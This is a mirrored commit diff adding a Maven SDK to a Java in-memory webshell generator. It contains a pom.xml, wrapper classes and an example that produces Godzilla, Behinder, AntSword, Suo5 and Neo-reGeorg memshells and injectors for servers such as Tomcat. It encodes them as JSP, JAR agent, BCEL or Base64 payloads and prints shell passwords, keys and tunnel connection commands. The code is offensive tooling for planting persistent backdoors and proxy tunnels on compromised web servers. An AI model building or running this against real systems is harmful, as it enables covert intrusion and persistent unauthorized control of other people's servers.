mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-22 01:30:43 +08:00
add: 添加对 Maven SDK 的支持
This commit is contained in:
@@ -0,0 +1,71 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
|
||||
<parent>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>java-memshell-generator</artifactId>
|
||||
<version>1.0.8</version>
|
||||
</parent>
|
||||
|
||||
<artifactId>jmg-sdk</artifactId>
|
||||
|
||||
<properties>
|
||||
<maven.compiler.source>8</maven.compiler.source>
|
||||
<maven.compiler.target>8</maven.compiler.target>
|
||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||
</properties>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>${parent.groupId}</groupId>
|
||||
<artifactId>jmg-core</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>${parent.groupId}</groupId>
|
||||
<artifactId>jmg-antsword</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>${parent.groupId}</groupId>
|
||||
<artifactId>jmg-behinder</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>${parent.groupId}</groupId>
|
||||
<artifactId>jmg-custom</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>${parent.groupId}</groupId>
|
||||
<artifactId>jmg-godzilla</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>${parent.groupId}</groupId>
|
||||
<artifactId>jmg-extender</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>${parent.groupId}</groupId>
|
||||
<artifactId>jmg-neoregeorg</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>${parent.groupId}</groupId>
|
||||
<artifactId>jmg-suo5</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
</project>
|
||||
@@ -0,0 +1,76 @@
|
||||
package jmg.sdk;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.generator.InjectorGenerator;
|
||||
import jmg.core.util.CommonUtil;
|
||||
import jmg.sdk.util.ShellGenerator;
|
||||
|
||||
|
||||
public class jMGenerator {
|
||||
|
||||
private AbstractConfig config;
|
||||
|
||||
public jMGenerator(AbstractConfig config) {
|
||||
this.config = config;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成内存马字节流、注入器字节流
|
||||
*/
|
||||
public void genPayload() throws Exception {
|
||||
new ShellGenerator().makeShell(this.config);
|
||||
new InjectorGenerator().makeInjector(this.config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 内存马字节流
|
||||
*/
|
||||
public byte[] getShellBytes() {
|
||||
return this.config.getShellBytes();
|
||||
}
|
||||
|
||||
/**
|
||||
* 注入器字节流
|
||||
*/
|
||||
public byte[] getInjectorBytes() {
|
||||
return this.config.getInjectorBytes();
|
||||
}
|
||||
|
||||
public void printPayload() {
|
||||
System.out.println("配置信息:");
|
||||
System.out.println(this.config.getToolType() + " " + this.config.getServerType() + " " + this.config.getShellType() + " " + this.config.getOutputFormat() + "\n");
|
||||
System.out.println("结果输出:");
|
||||
System.out.println(this.formatPayload());
|
||||
System.out.println();
|
||||
}
|
||||
|
||||
/**
|
||||
* 处理注入器字节流
|
||||
*/
|
||||
public String formatPayload() {
|
||||
switch (config.getOutputFormat()) {
|
||||
case Constants.FORMAT_CLASS:
|
||||
case Constants.FORMAT_JSP:
|
||||
case Constants.FORMAT_JAR:
|
||||
case Constants.FORMAT_JAR_AGENT:
|
||||
try {
|
||||
CommonUtil.transformToFile(config);
|
||||
return config.getSavePath();
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
break;
|
||||
case Constants.FORMAT_BCEL:
|
||||
case Constants.FORMAT_JS:
|
||||
case Constants.FORMAT_BASE64:
|
||||
case Constants.FORMAT_BIGINTEGER:
|
||||
try {
|
||||
return CommonUtil.transformTotext(config);
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
break;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
package jmg.sdk.util;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.util.CommonUtil;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class SDKResultUtil {
|
||||
|
||||
public static void printAntSwordBasicInfo(AbstractConfig config) {
|
||||
System.out.println("基础信息:");
|
||||
System.out.println("");
|
||||
System.out.println("密码: " + config.getPass());
|
||||
System.out.println("请求路径: " + config.getUrlPattern());
|
||||
System.out.println("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue());
|
||||
System.out.println("脚本类型: JSP");
|
||||
System.out.println("");
|
||||
}
|
||||
|
||||
public static void printBehinderBasicInfo(AbstractConfig config) {
|
||||
System.out.println("基础信息:");
|
||||
System.out.println("");
|
||||
System.out.println("密码: " + config.getPass());
|
||||
System.out.println("请求路径: " + config.getUrlPattern());
|
||||
System.out.println("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue());
|
||||
System.out.println("脚本类型: JSP");
|
||||
System.out.println("");
|
||||
}
|
||||
|
||||
public static void printGodzillaBasicInfo(AbstractConfig config) {
|
||||
System.out.println("基础信息:");
|
||||
System.out.println("");
|
||||
System.out.println("加密器: JAVA_AES_BASE64");
|
||||
System.out.println("密码: " + config.getPass());
|
||||
System.out.println("密钥: " + config.getKey());
|
||||
System.out.println("请求路径: " + config.getUrlPattern());
|
||||
System.out.println("请求头: " + config.getHeaderName() + ":" + config.getHeaderValue());
|
||||
System.out.println("");
|
||||
}
|
||||
|
||||
|
||||
public static void printCustomBasicInfo(AbstractConfig config) {
|
||||
System.out.println("基础信息");
|
||||
System.out.println("");
|
||||
System.out.println("请求路径: " + config.getUrlPattern());
|
||||
System.out.println("注入器类名: " + config.getInjectorClassName());
|
||||
System.out.println("");
|
||||
|
||||
}
|
||||
|
||||
public static void printSuo5BasicInfo(AbstractConfig config) {
|
||||
System.out.println("基础信息:");
|
||||
System.out.println("");
|
||||
System.out.println("请求路径: " + config.getUrlPattern());
|
||||
System.out.println("连接指令:");
|
||||
if (config.getHeaderName().equalsIgnoreCase("user-agent")) {
|
||||
System.out.println(String.format(" ./suo5 -d --ua '%s' -t http://", config.getHeaderValue()));
|
||||
System.out.println(String.format(" ./suo5 -d -l 0.0.0.0:7788 --auth test:test123 --ua '%s' -t http://", config.getHeaderValue()));
|
||||
} else {
|
||||
System.out.println(String.format(" ./suo5 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue()));
|
||||
System.out.println(String.format(" ./suo5 -l 0.0.0.0:7788 --auth test:test123 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue()));
|
||||
}
|
||||
System.out.println("");
|
||||
}
|
||||
|
||||
public static void printNeoreGeorgBasicInfo(AbstractConfig config) {
|
||||
System.out.println("基础信息:");
|
||||
System.out.println("");
|
||||
System.out.println("密钥: " + config.getKey());
|
||||
System.out.println("请求路径: " + config.getUrlPattern());
|
||||
System.out.println("连接指令:");
|
||||
System.out.println(String.format(" python3 neoreg.py -k %s -H '%s:%s' -u http://", config.getKey(), config.getHeaderName(), config.getHeaderValue()));
|
||||
System.out.println(String.format(" python3 neoreg.py --skip --proxy http://127.0.0.1:8080 -vv -k %s -H '%s:%s' -u http:// ", config.getKey(), config.getHeaderName(), config.getHeaderValue()));
|
||||
System.out.println("");
|
||||
}
|
||||
|
||||
public static void printExtenderBasicInfo(AbstractConfig config) {
|
||||
System.out.println("基础信息:");
|
||||
System.out.println("");
|
||||
System.out.println("探测器类名: " + config.getExtenderClassName());
|
||||
System.out.println("探测器字节流长度: " + config.getExtenderBytes().length);
|
||||
System.out.println("");
|
||||
}
|
||||
|
||||
public static void printResult(AbstractConfig config) {
|
||||
if (!config.isEnabledExtender() && config.getInjectorBytesLength() == 0) {
|
||||
System.out.println("请在非调试模式下使用!");
|
||||
} else if (config.isEnabledExtender() && config.getExtenderBytesLength() == 0) {
|
||||
System.out.println("请在非调试模式下使用!");
|
||||
} else {
|
||||
switch (config.getOutputFormat()) {
|
||||
case Constants.FORMAT_CLASS:
|
||||
case Constants.FORMAT_JSP:
|
||||
case Constants.FORMAT_JAR_AGENT:
|
||||
case Constants.FORMAT_JAR:
|
||||
try {
|
||||
if (config.isEnabledExtender()) {
|
||||
CommonUtil.transformExtenderToFile(config);
|
||||
} else {
|
||||
CommonUtil.transformToFile(config);
|
||||
}
|
||||
System.out.println("结果输出:\n");
|
||||
System.out.println(config.getSavePath() + "\n");
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
break;
|
||||
case Constants.FORMAT_BCEL:
|
||||
case Constants.FORMAT_JS:
|
||||
case Constants.FORMAT_BASE64:
|
||||
case Constants.FORMAT_BIGINTEGER:
|
||||
try {
|
||||
String result = CommonUtil.transformTotext(config);
|
||||
System.out.println("结果输出:\n");
|
||||
System.out.println(result + "\n");
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void printBasicInfo(AbstractConfig config) throws Throwable {
|
||||
switch (config.getToolType()) {
|
||||
case Constants.TOOL_ANTSWORD:
|
||||
printAntSwordBasicInfo(config);
|
||||
break;
|
||||
case Constants.TOOL_BEHINDER:
|
||||
printBehinderBasicInfo(config);
|
||||
break;
|
||||
case Constants.TOOL_GODZILLA:
|
||||
printGodzillaBasicInfo(config);
|
||||
break;
|
||||
case Constants.TOOL_SUO5:
|
||||
printSuo5BasicInfo(config);
|
||||
break;
|
||||
case Constants.TOOL_NEOREGEORG:
|
||||
printNeoreGeorgBasicInfo(config);
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static void printDebugInfo(AbstractConfig config) throws IOException {
|
||||
System.out.println("调试信息:");
|
||||
System.out.println("");
|
||||
System.out.println("内存马类名: " + config.getShellClassName());
|
||||
System.out.println("注入器类名: " + config.getInjectorClassName());
|
||||
System.out.println("内存马字节流长度: " + config.getShellBytesLength());
|
||||
System.out.println("注入器字节流长度: " + config.getInjectorBytesLength());
|
||||
System.out.println("");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package jmg.sdk.util;
|
||||
|
||||
import jmg.antsword.generator.AntSwordGenerator;
|
||||
import jmg.behinder.generator.BehinderGenerator;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.generator.IShellGenerator;
|
||||
import jmg.custom.generator.CustomGenerator;
|
||||
import jmg.godzilla.generator.GodzillaGenerator;
|
||||
import jmg.neoregeorg.generator.NeoreGeorgGenerator;
|
||||
import jmg.suo5.generator.Suo5Generator;
|
||||
|
||||
public class ShellGenerator {
|
||||
IShellGenerator shellGenerator;
|
||||
|
||||
public void makeShell(AbstractConfig config) throws Exception {
|
||||
switch (config.getToolType()) {
|
||||
case Constants.TOOL_ANTSWORD:
|
||||
shellGenerator = new AntSwordGenerator();
|
||||
break;
|
||||
case Constants.TOOL_BEHINDER:
|
||||
shellGenerator = new BehinderGenerator();
|
||||
break;
|
||||
case Constants.TOOL_GODZILLA:
|
||||
shellGenerator = new GodzillaGenerator();
|
||||
break;
|
||||
case Constants.TOOL_SUO5:
|
||||
shellGenerator = new Suo5Generator();
|
||||
break;
|
||||
case Constants.TOOL_NEOREGEORG:
|
||||
shellGenerator = new NeoreGeorgGenerator();
|
||||
break;
|
||||
case Constants.TOOL_CUSTOM:
|
||||
shellGenerator = new CustomGenerator();
|
||||
break;
|
||||
default:
|
||||
throw new IllegalArgumentException("Unsupported tool type: " + config.getToolType());
|
||||
}
|
||||
shellGenerator.makeShell(config);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.sdk.jMGenerator;
|
||||
import jmg.sdk.util.SDKResultUtil;
|
||||
|
||||
/*
|
||||
1、将 java-memshell-generator 和 jmg-sdk 安装到本地 maven 仓库
|
||||
1) mvn install:install-file -Dfile=java-memshell-generator-<version>-jar-with-dependencies -DgroupId=jmg -DartifactId=java-memshell-generator -Dversion=<version> -Dpackaging=jar
|
||||
2) mvn install:install-file -Dfile=jmg-sdk-<version>-jar-with-dependencies.jar -DgroupId=jmg -DartifactId=jmg-sdk -Dversion=<version> -Dpackaging=jar
|
||||
|
||||
2、引入自己的框架/工具的依赖中
|
||||
<dependency>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>jmg-sdk</artifactId>
|
||||
<version>1.0.8</version>
|
||||
</dependency>
|
||||
|
||||
*/
|
||||
public class SDKTest {
|
||||
public static void main(String[] args) throws Throwable {
|
||||
// 必需的基础配置
|
||||
AbstractConfig config = new AbstractConfig() {{
|
||||
// 设置工具类型
|
||||
setToolType(Constants.TOOL_GODZILLA);
|
||||
// 设置中间件 or 框架
|
||||
setServerType(Constants.SERVER_TOMCAT);
|
||||
// 设置内存马类型
|
||||
setShellType(Constants.SHELL_LISTENER);
|
||||
// 设置输出格式为 BASE64
|
||||
setOutputFormat(Constants.FORMAT_BASE64);
|
||||
// 设置漏洞利用封装,默认不启用
|
||||
setGadgetType(Constants.GADGET_NONE);
|
||||
// 初始化基础配置
|
||||
build();
|
||||
}};
|
||||
|
||||
jMGenerator generator = new jMGenerator(config);
|
||||
generator.genPayload();
|
||||
generator.printPayload();
|
||||
|
||||
// 连接信息
|
||||
SDKResultUtil.printBasicInfo(config);
|
||||
SDKResultUtil.printDebugInfo(config);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user